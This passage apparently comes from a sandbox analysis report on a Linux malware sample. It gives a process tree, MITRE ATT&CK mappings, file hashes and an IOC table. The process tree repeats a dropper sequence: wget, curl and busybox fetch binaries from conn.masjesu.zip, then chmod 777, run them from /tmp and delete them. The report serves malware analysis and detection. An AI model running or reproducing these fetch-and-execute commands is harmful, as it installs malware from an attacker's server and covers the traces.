  - Executes dropped EXE
  PID:959
- /bin/rm
  rm ZvnUJ7irxwPmCv2cf4dalrAoXFRmaeblBJ
  2⤵
  PID:960
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  - System Network Configuration Discovery
  PID:961
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:962
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  PID:964
- /bin/chmod
  chmod 777 0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  - File and Directory Permissions Modification
  PID:965
- /tmp/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  ./0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  - Executes dropped EXE
  PID:966
- /bin/rm
  rm 0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  PID:967
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  2⤵
  - System Network Configuration Discovery
  PID:968
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:969
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  2⤵
  - System Network Configuration Discovery
  PID:971
- /bin/chmod
  chmod 777 kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  2⤵
  - File and Directory Permissions Modification
  PID:972
- /tmp/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  ./kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  2⤵
  - Executes dropped EXE
  PID:973
- /bin/rm
  rm kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  2⤵
  PID:974
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
  2⤵
  - System Network Configuration Discovery
  PID:975
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:976
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
  2⤵
  - System Network Configuration Discovery
  PID:978
- /bin/chmod
  chmod 777 u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
  2⤵
  - File and Directory Permissions Modification
  PID:979
- /tmp/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
  ./u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
  2⤵
  - Executes dropped EXE
  PID:980
- /bin/rm
  rm u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
  2⤵
  PID:981
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
  2⤵
  - System Network Configuration Discovery
  PID:982
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:983
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
  2⤵
  - System Network Configuration Discovery
  PID:985
- /bin/chmod
  chmod 777 2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
  2⤵
  - File and Directory Permissions Modification
  PID:986
- /tmp/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
  ./2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
  2⤵
  - Executes dropped EXE
  PID:987
- /bin/rm
  rm 2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
  2⤵
  PID:988
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
  2⤵
  PID:989
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:990
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
  2⤵
  - System Network Configuration Discovery
  PID:992
- /bin/chmod
  chmod 777 cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
  2⤵
  - File and Directory Permissions Modification
  PID:993
- /tmp/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
  ./cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
  2⤵
  - Executes dropped EXE
  PID:994
- /bin/rm
  rm cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
  2⤵
  PID:995
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
  2⤵
  - System Network Configuration Discovery
  PID:996
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:997
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
  2⤵
  - System Network Configuration Discovery
  PID:999
- /bin/chmod
  chmod 777 vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
  2⤵
  - File and Directory Permissions Modification
  PID:1000
- /tmp/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
  ./vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
  2⤵
  - Executes dropped EXE
  PID:1001
- /bin/rm
  rm vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
  2⤵
  PID:1002

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA

Path /tmp/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA	734	0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
/tmp/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW	741	kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
/tmp/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n	767	u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
/tmp/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS	821	2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
/tmp/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf	837	cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
/tmp/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess	847	vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
/tmp/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y	854	4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
/tmp/H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En	861	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
/tmp/6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H	868	6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
/tmp/rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX	875	rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
/tmp/Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7	882	Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
/tmp/j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk	889	j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
/tmp/794lP91etlt5dj8FhZzJxnFERimsilRWTP	896	794lP91etlt5dj8FhZzJxnFERimsilRWTP
/tmp/ZvnUJ7irxwPmCv2cf4dalrAoXFRmaeblBJ	903	ZvnUJ7irxwPmCv2cf4dalrAoXFRmaeblBJ
/tmp/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y	910	4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
/tmp/H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En	917	H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
/tmp/6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H	924	6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
/tmp/rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX	931	rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
/tmp/Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7	938	Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
/tmp/j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk	945	j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
/tmp/794lP91etlt5dj8FhZzJxnFERimsilRWTP	952	794lP91etlt5dj8FhZzJxnFERimsilRWTP
/tmp/ZvnUJ7irxwPmCv2cf4dalrAoXFRmaeblBJ	959	ZvnUJ7irxwPmCv2cf4dalrAoXFRmaeblBJ
/tmp/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA	966	0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
/tmp/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW	973	kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
/tmp/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n	980	u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
/tmp/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS	987	2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
/tmp/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf	994	cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
/tmp/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess	1001	vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess